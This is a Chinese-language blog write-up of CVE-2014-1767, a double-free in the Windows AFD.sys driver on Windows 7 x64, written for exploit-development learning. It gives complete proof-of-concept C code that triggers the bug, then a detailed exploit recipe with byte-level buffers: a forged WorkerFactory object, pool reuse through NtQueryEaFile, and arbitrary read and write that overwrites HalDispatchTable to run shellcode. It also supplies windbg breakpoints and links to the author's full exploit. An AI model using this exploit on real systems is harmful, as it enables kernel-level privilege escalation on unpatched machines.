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1.1 写作目的

这是我的第四篇CVE文章，相比前面三篇，我认为这篇文章研究的CVE漏洞，是最难，同时也是最值得学习的一个提权漏洞。尽管之前的漏洞也很优秀，但这个漏洞我认为是优秀者中的佼佼者。
我们要自己去构造内存数据，而且要精确到字节，要了解一些系统的机制，还要知道各种函数的反汇编用法，因此EXP里面的每一个数据都有其特定的含义，并非随意而为，难度自然更大。我想这对提高我们的PWN水平有帮助，所以我写下了这篇文章。

本文侧重于介绍内存构造的思路，最后给出了调试结果。

1.2 概述

在2014年的Pwn2Own黑客大赛上，Siberas安全团队利用CVE-2014-1767 Windows AFD.sys 双重释放漏洞进行内核提权，以此绕过windows8.1 平台上的IE11沙箱，随后该漏洞因此获得2014年黑客奥斯卡的“最佳提权漏洞奖”。
后来，Siberas团队在其官网公布了此漏洞的详细细节及利用方法，它是AFD.sys驱动上的一处双重释放漏洞，通杀Wdinwos系统，影响较大。

1.3 非常重要的说明

针对这个漏洞我要说明的有以下几点：

① 本文侧重点在POC、EXP编写，从逆向与调试的角度引领你分析、编写POC、EXP；

② 本文是首篇针对该漏洞在x64平台下的分析、编写文章；

③ 全网最详细POC、EXP的编写说明；

④ EXP完全复用POC的代码；

⑤ 上传的EXP是我自己编写的。

实验环境为：win7_x64_sp1（7601）版本

二

POC分析

2.1 POC代码

ULONG CalcLength()
{
    int BaseLength = 0x10000;
    unsigned __int16 VirtualAddress = 0x13371337;
    int FinalLength = 0x0;
    while (1)
    {
        FinalLength = ((BaseLength & 0xFFF) + ((unsigned __int16)VirtualAddress & 0xFFF) + 0xFFF) >> 0xC;
        FinalLength = 8 * (FinalLength + (BaseLength>>0xC))+ 0x30;
            if (FinalLength == 0x100)
            {
                break;
            }
            else
            {
                BaseLength += 1;
                continue;
            }
    }
    return BaseLength;
}
 
int main()
{
    int nBottonRect = 0x2aaaaaa;
    while (true)
    {
        HRGN hrgn = CreateRoundRectRgn(0, 0, 1, nBottonRect, 1, 1);
        if (hrgn==NULL)
        {
            break;
        }
        printf("hrgn = %p\n", hrgn);
    }
 
    //这儿看IoAllocateMdl(ntoskrnl)
    DWORD length = CalcLength();
    printf("Length = %x\n", length);
    DWORD virtualAddress = 0x13371337;
 
    static BYTE inbuf1[0x40];
    memset(inbuf1, 0, sizeof(inbuf1));
    *(ULONG_PTR*)(inbuf1 + 0x20) = virtualAddress;
    *(ULONG*)(inbuf1 + 0x28) = length;        
    *(ULONG*)(inbuf1 + 0x3c) = 1;              
    static BYTE inbuf2[0x18];
    memset(inbuf2, 0, sizeof(inbuf2));
    *(ULONG*)(inbuf2) = 1;
    *(ULONG*)(inbuf2 + 0x8) = 0x0AAAAAAA;      
    WSADATA         WSAData;
    SOCKET         s;
    sockaddr_in  sa;
    int             ierr;
    WSAStartup(0x2, &WSAData);
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    memset(&sa, 0, sizeof(sa));
    sa.sin_port = htons(135);
    sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    sa.sin_family = AF_INET;
    ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));
    DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);
    DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);
}

2.2 POC运行结果

运行上面POC代码，系统出现蓝屏后的windbg调试结果见上图（上图并不是原始输出，我把一些不重要的数据删除了）。从第一个红框可以看出：
① 这是一个双重释放漏洞；
② 双重释放的代码在afd!AfdReturnTpinfo+0xe7。
我们先来看看afd!AfdReturnTpinfo+0xe7，是什么代码：

可见，在afd!AfdReturnTpinfo+0xe1处，是IoFreeMdl函数，它是用来释放Mdl指针的。那么，释放完之后，有没有对指针进行清零处理？我们来看看反编译代码：

根据上面分析可知，IoFreeMdl肯定被执行了两次，那么，在后面我们进行分析时，可以在此处下断点，看这块内存是怎么变化的。现在，我们来看看，程序为什么会调用IoFreeMdl两次。

2.3 漏洞产生的根本原因

漏洞是因为连续两次释放内存，由afd!AfdReturnTpinfo调用。
第一次是因为调用
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);
时，afd!afdTransmitFile+0x2CD调用MmProbeAndLockPages函数判断的地址，是POC里面指定的0x13371337这个非法地址，所以会出现异常，如下图所示：

第二次调用：
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);
因为POC里面指定的内存空间是0x0AAAAAAA*0x18，在afd!afdTransmitPackets中调用afd!AfdTliGetTpInfo，执行ExAllocatePoolwithQutaTag时失败后，会跳到AfdReturnTpinfo函数执行，如下图：

两次进入异常处理函数，都会调用IoFreeMdl函数，从而导致指针双重释放。

x64平台POC编写指导

3.1 第一阶段：消耗系统内存

int nBottonRect = 0x2aaaaaa;
while (true)
{
    HRGN hrgn = CreateRoundRectRgn(0, 0, 1, nBottonRect, 1, 1);
    if (hrgn==NULL)
    {
        break;
    }
    printf("hrgn = %p\n", hrgn);
    }
通过CreateRoundRectRgn函数消耗内存。至于为什么要消耗内存，可以先看2.3节，我在后面会做更详细说明。

3.2 第二阶段：构造Inbuff1

3.2.1 Inbuff1的输入长度构造

POC里面有个函数CalcLength，它是用于计算输入长度，用来控制分配内存空间大小的。现在，我们需要内存固定分配0x100字节大小的空间，至于为什么，我在后面说明，现在你只用知道，我们需要构造一个0x100大小的内存空间。
在afd!AfdTransmitFile中，nt!IoAllocateMdl函数第二个参数length就是我们输入的参数，通过这个参数，就可以控制内存大小，见下图：

现在，我们需要看看IoAllocateMdl是如何分配内存空间的，反编译nt!IoAllocateMdl，可得：

我们的CalcLength函数，就是为了输入Length，得到一个固定的内存0x100。基本思路是：
① 初始Length从0x10000开始；
② ViRtualAddress是非法地址0x13371337；

通过while（1）循环，查找使得分配内存为0x100的length，具体实现见代码。

代码实现为：

ULONG CalcLength()
{
int BaseLength = 0x10000;
unsigned __int16 VirtualAddress = 0x13371337;
int FinalLength = 0x0;
while (1)
{
   FinalLength = ((BaseLength & 0xFFF) + ((unsigned
   __int16)VirtualAddress & 0xFFF) + 0xFFF) >> 0xC;
   FinalLength = 8 * (FinalLength + (BaseLength>>0xC))+ 0x30;
   if (FinalLength == 0x100)
   {
    break;
   }
    else
   {
    BaseLength += 1;
    continue;
    }
   }
   return BaseLength;
}

3.2.2 Inbuff1的参数构造

afd!afdTransmitFile和afd!afdTransmitPackets两个函数的函数原型分别是：

__fastcall AfdTransmitFile（PIRP  pIRP, PIO_STACK_LOCATION pIoStackLocation）
__fastcall AfdTransmitPackets(PIRP pIrp, PIO_STACK_LOCATION pIoStackLocation)
第二个形参的定义为：

kd> dt _io_stack_location
ntdll!_IO_STACK_LOCATION
   +0x000 MajorFunction    : UChar
   +0x001 MinorFunction    : UChar
   +0x002 Flags            : UChar
   +0x003 Control          : UChar
   +0x008 Parameters       : <unnamed-tag>
//struct{
//  +0x008     ULONG OutputBufferLength;
//  +0x010       POINTER_ALIGNMENT InputBufferLength;
//  +0x018     POINTER_ALIGNMENT IoControlCode;
//  +0x020     Type3InputBuffer
//}
   +0x028 DeviceObject     : Ptr64 _DEVICE_OBJECT
   +0x030 FileObject       : Ptr64 _FILE_OBJECT
   +0x038 CompletionRoutine : Ptr64     long
   +0x040 Context          : Ptr64 Void
最重要的就是偏移0x20的Type3InputBuffer了，这就是我们传入的inbuff1数据。但有个问题，在我们调用这个函数之前，传入的inbuff1已经在栈里面了，现在参数的应用都类似这样：
rsp+8c、rsp+78、rsp+70等等，我们就无法知道这些参数在inbuff1的位置。

但幸好，我们可以根据IoAlloctedMdll函数，很方便的定位length和VirtualAddress。因为IoAlloctedMdll的第一个形参、第二个形参是分别是地址、长度，这是已知的，那么我们就可以先定位length，再定位其他参数。
反编译afd!AfdTransmitFile，分析后，如下图：

由上图可知：

① 因为第104行的判断，所以inbuff1的长度至少为0x40；

② 先让inbuff1有规律的等于一个值，输入之后，断点看length的数值，就可以知道length在buff1的位置，又知道length在rsp+0x78，现在VirtualAddress在rsp+0x70，那么，length偏移0x28，VirtualAdress就偏移0x20。

③ 第112行可知，v8由v45得来，v45在rsp+8C位置，也就是inbuff1的0x3C位置，v8等于1的时候，可以不进入112行的if判断，从而执行正常流程。

所以有：

static BYTE inbuf1[0x40];
memset(inbuf1, 0, sizeof(inbuf1));
*(ULONG_PTR*)(inbuf1 + 0x20) = virtualAddress;
*(ULONG*)(inbuf1 + 0x28) = length;       
*(ULONG*)(inbuf1 + 0x3c) = 1;

3.3 第三阶段：构造Inbuff2

inbuff2是通过AfdTransmitPackets函数处理的，所以反编译AfdTransmitPackets函数之后分析，如下图：

从上图可知：

① 第103行表明，输入的inbuff2长度至少为0x18字节，所以我们定义的就是0x18字节；

② 由第114行可知，v7就是我们的inbuff2；

③ 由125行可知，inbuff2的第0个字节等于1，就不会进入if；

④ 由136行可知，输入的v52是分配系数，分配的大小是0x18输入长度，现在分配的长度是0xaaaaaaa018字节，而我们在第一阶段就已经把内存消耗完，这里执行只会失败。

综上，可得：
static BYTE inbuf2[0x18];
memset(inbuf2, 0, sizeof(inbuf2));
(ULONG)(inbuf2) = 1;
(ULONG)(inbuf2 + 0x8) = 0x0AAAAAAA;

3.4 触发漏洞

最后，触发漏洞函数为：

DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);

控制码为0x1207F的DeviceIoControl 函数执行之后，会因为地址异常执行nt!IoFreeMdl，释放一次指针；控制码为0x120C3的DeviceIoControl 函数执行之后，又会因为异常执行nt!IoFreeMdl，再释放一次指针，从而触发漏洞。

x64平台EXP编写指导

4.1 基本思路

调用控制码为0x1207F的函数触发异常释放pool后，创建一个对象占用这个释放的pool，然后再调用控制码为0x120C3的函数，触发异常后再次释放这个pool，最后再把这个pool的数据赋值成假数据，但指向这个pool的指针，我们已经能够控制了，具体分析如下。

第一步：构造FakeWorkerFactory

先来看看构造的代码：

const DWORD FakeObjSize = 0x100;
    static BYTE FakeWorkerFactory[FakeObjSize];
    memset(FakeWorkerFactory, 0, FakeObjSize);
 
    static BYTE ObjHead[0x50] =
    {
    0x00,0x00,0x00,0x00,0x08,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x16,0x00,0x08,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    };
    memcpy(FakeWorkerFactory, ObjHead, 0x50);
    static BYTE a[0x18+0x4+0x4] =
    {        0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, //18个
        0x00,0x00,0x00,0x00,   //*(_QWORD *)Object + 0x18
        0x00,0x00,0x00,0x00   
    };
    PVOID *pFakeObj = (PVOID*)((ULONG_PTR)FakeWorkerFactory + 0x50);
    *pFakeObj = a;
    printf("object a : = %p\n", a);
    printf("pFakeObj = %p\n", pFakeObj);
至于为什么这样写，从4.1.1节开始说明。

4.1.1 windbg确认WorkFactory的大小

WorkerFactory占用空间的大小我们跟踪这条链：
NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject-> ExAllocatePoolWithTag。

但是ObpCreateObject和ObpAllocateObject很多地方都有调用，如果这个时候一步一步通过函数执行过去，很麻烦，而且很容易出错，你会得到错误的大小。调式的时候，可以这样做：

A、首先打两个断点：
4: kd> bl
0 e Disable Clear fffff8000438c8fa 0001 (0001) nt!ObpAllocateObject+0x12a "r rdx;gc" 1 e Disable Clear fffff80004374b08 0001 (0001) nt!NtCreateWorkerFactory

B、然后运行exp，程序会断在第1个点的NtCreateWorkerFactory。
C、然后继续g，
1: kd> g
rdx=0000000000000100
rdx=00000000000004f8
rdx=0000000000000068
rdx=00000000000000a8
rdx=00000000000000a8
rdx=0000000000000068
rdx=00000000000000a8

第一个rdx就是自己申请的workfactory的大小0x100了。
这就是为什么我们在3.1.1要费尽心思构造pool为0x100的原因。

4.1.2 windbg确认WorkFactory的内存数据

你的实验平台如果跟我一样，下面的断点，你可以直接用：

kd> bl
     0 d Enable Clear  fffff800`01faab08     0001 (0001) nt!NtCreateWorkerFactory
     1 d Enable Clear  fffff800`01cb56d0     0001 (0001) nt!NtSetInformationWorkerFactory ".if(rdx==8){r rdx;r r9}.else{gc;}"
     2 d Enable Clear  fffff800`01cb5879     0001 (0001) nt!NtSetInformationWorkerFactory+0x1a6
     3 d Enable Clear  fffff800`01fc28fa     0001 (0001) nt!ObpAllocateObject+0x12a（这儿是NtCreateWorkerFactory的nt!ExAllocatePoolWithTag，看pool）
     4 d Enable Clear  fffff800`01faacc9     0001 (0001) nt!NtCreateWorkerFactory+0x1c1（这儿是createobject的下一句，看object）
首先，使能第3个和第4个断点，在windbg里面断下：可以看到：

由上图，可以得到：
① object在workerfactory起始地址的偏移量。object在workerfactory起始地址偏移0x50处，0xfffffa8031092560是起始地址，0xfffffa8031092550是pool的header；

② 把objectHead的数据拷贝出来，作为我们构造EXP时的Fakeworkerfactory的数据；

然后，使能第1个断点和第2个断点，继续运行，得到：

从上图，可以得到：

① NtSetInformationWorkerFactory中object的pool是从ObReferenceObjectByHandleWithTag中得到的；
② 再分析NtCreateWorkerFactory可知，在NtCreateWorkerFactory时创建的pool数据，在NtSetInformationWorkerFactory时已经被覆盖掉了。
数据是怎么被覆盖的？用的是4.1.3介绍的nt!NtQueryEaFile函数。

4.1.3 覆盖WorkFacroty内存数据

现在有个问题，我们构造的WorkFactory数据是在应用层，那么如何把数据拷贝到之前释放的pool处呢？直接拷贝当然是不行的，毕竟，我们并不知道pool的地址。这个时候就可以调用一个关键的函数实现这个目的。这个函数就是NtQueryEaFile函数。

先来看看NtQueryEaFile函数的声明：

NTSTATUS __stdcall NtQueryEaFile
(HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer, ULONG Length,
BOOLEAN ReturnSingleEntry,
PVOID EaList,
 ULONG EaListLength,
 PULONG EaIndex,
 BOOLEAN RestartScan)
我们调用的代码为：

fpQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, NULL, 0, FALSE, FakeWorkerFactory, FakeObjSize , NULL, FALSE);

EaList --->FakeWorkerFactory
EaIndex---> FakeObjSize
再来看看fpQueryEaFile的反汇编代码。

执行这个函数之后，伪造的数据就被拷贝到了之前释放的pool处，然后根据相应的函数操作WorkFactory的内存，就可以实现任意地址写和读了。
但是这里有一个关键点，就是在函数的最后，它会释放内存，如下图：

这就意味着，我们操纵的，仍然是一个已经释放的内存，所以需要注意调试的速度。如果pool被再次替换受控和释放，我们的读取和写操作将失败，结果将是错误检查。所以读取和写入必须在每次之后立即完成。
这很关键，请牢牢记住。

4.2、第二步：任意写实现

任意地址写，是通过SetInformationWorkerFactory函数实现的，原理如下图：

在第175行，传入handle，通过ObReferenceObjectByHandleWithTag函数索引，就可以得到object，这个object就是我们代码里面的变量a。在NtSetInformationWorkFactory函数里面，任意写是这行代码：

*(_DWORD *)(*(_QWORD *)(*(_QWORD *)Object + 0x18i64) + 0x2Ci64) = v64;

而我们在执行选择NtSetInformationWorkerFactory时，选择的是WorkerFactoryAdjustThreadGoal（0x8），等于8，会直接运行到NtSetInformationWorkerFactory的655行，然后会执行任意地址写。也就是说，如果我们需要在目标地址kHalDsipatchTableQueryAddr写入shellcode地址，那么，就需要让

*(_DWORD *)(*(_QWORD *)(*(_QWORD *)Object + 0x18i64) + 0x2Ci64)  = shellcode地址高四位
*(_DWORD *)(*(_QWORD *)(*(_QWORD *)Object + 0x18i64) + 0x2Ci64)  = shellcode地址低四位

这就意味着：
(_QWORD )((_QWORD )Object + 0x18i64) + 0x2Ci64等于kHalDsipatchTable地址，那么，当系统调用该函数赋值的时候，就会把shellcode地址高四位或低四位写入HalDsipatchTable。所以，写入shellcode地址时，需要把高四位和第四位分开写：

(_QWORD *)(*(_QWORD *)Object + 0x18i64) = kHalDsipatchTable – 0x2C (低4位)
*(_QWORD *)(*(_QWORD *)Object + 0x18i64) = kHalDsipatchTable – 0x2C + 4 （高4位）

正好对应我们的代码：

*(PVOID*)(a + 0x18) = (PVOID)(kHalDsipatchTableQueryAddr - 0x2C);
*(PVOID*)(a + 0x18) = (PVOID)(kHalDsipatchTableQueryAddr - 0x2C + 0x04);

构造完毕之后，就可以把shellcode的地址写入了，EXP代码如下：

static ULONG_PTR ShotAddress = (ULONG_PTR)ShellCode;  
DWORD what_write2 = ShotAddress >> 32 & 0xffffffff;  
DWORD what_write1 = ShotAddress & 0xffffffff;
 
fpSetInformationWorkerFactory(hWorkerFactory, WorkerFactoryAdjustThreadGoal, &what_write1, 0x4);
fpSetInformationWorkerFactory(hWorkerFactory, WorkerFactoryAdjustThreadGoal, &what_write2, 0x4);
上面fpSetInformationWorkerFactory函数第二个形参和第4个形参的选择分别是WorkerFactoryAdjustThreadGoal（0x8）、0x4，原因如下：

4.3 第三步：任意读实现

任意地址读，是通过NtQueryInformationWorkerFactory函数实现的，原理如下图：

由上图可知：
① 输入的内存长度必须是0x78；
② 选择的读取地址是(QWORD*)object+0x10;
③ 第二个参数必须等于7，也就是要等于WorkerFactoryBasicInformation。

现在我们来看第81行代码，是这样写的：

Src[11] = *(_QWORD *)(v14[0x10] + 0x180i64);

所以在构造object的时候，目标地址需要减去0x180，写为：

*(ULONG_PTR*)(pFakeObj + 0x10) = (ULONG_PTR)kHalDsipatchTable + sizeof(PVOID) - 0x180 ;
//然后构造fpQueryInformationWorkerFactory为：
static BYTE kernelRetMem[0x78];
memset(kernelRetMem, 0, sizeof(kernelRetMem));
fpQueryInformationWorkerFactory(hWorkerFactory,
    WorkerFactoryBasicInformation,（0x7）
    kernelRetMem,
    0x78,
    NULL);
kfpHaliQuerySystemInformation = *(PVOID*)(kernelRetMem + 8 * 0xB);

调试数据

断点选择在pool申请和释放的地方，断点为：

0 e Disable Clear  fffff880`05161581 e 1 0001 (0001) afd!AfdReturnTpInfo+0xe1
1 e Disable Clear  fffff800`0432dfe1 e 1 0001 (0001) nt!NtQueryEaFile+0x171
第一次执行IoFreeMdl前的目标内存，见下图：

第一次执行IoFreeMdl后和第二次执行IoFreeMdl前的目标内存见下图：

第二次执行IoFreeMdl后的目标内存见下图：

NtQueryEaFile函数拷贝内存时的目标内存，见下图：

缓解措施

在AfdReturnTpInfo中，把TpInfoElementCount清零了，如果Count等于0的时候，就不进行释放操作。见下图：

提权结果

代码

CVE-2014-1767的EXP代码链接（https://github.com/ExploitCN/CVE-2014-1767-EXP-PAPER）

这个链接有两个文件，一个是C版本的，一个是python版本的，其中C版本的是EXP，python版本的是POC。
我没有上传C版本的POC，因为把EXP中创建WorkerFactory代码删除，就直接可以得到POC代码了。